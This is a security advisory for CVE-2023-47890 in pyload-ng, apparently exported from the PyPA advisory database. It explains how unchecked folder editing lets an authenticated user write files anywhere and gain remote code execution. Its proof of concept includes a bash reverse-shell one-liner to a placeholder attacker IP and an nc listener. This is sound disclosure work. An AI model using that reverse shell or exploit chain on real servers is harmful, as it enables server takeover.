pyload-ng
Affected
- introduced
0, fixed0.5.0b3.dev75(ecosystem)
Fixed versions
0.5.0b3.dev75
Fix
- Fixed version
0.5.0b3.dev75pip install --upgrade pyload-ng==0.5.0b3.dev75
Advisory
Also known as: CVE-2023-47890, GHSA-h73m-pcfw-25h2
Download to arbitrary folder can lead to RCE
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/__init__.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
nc -vklp 9999
On pyLoad
Change permissions of downloads: On
Permission mode for downloaded files: 0744
http://<attacker_ip>/evil.sh
Impact
An authenticated user can gain control over the underlying pyLoad server.
High Basis: CVSS v3 score 7.6, vector CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
0, fixed 0.5.0b3.dev75 (ecosystem)0.5.0b3.dev75
0.5.0b3.dev75pip install --upgrade pyload-ng==0.5.0b3.dev75Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0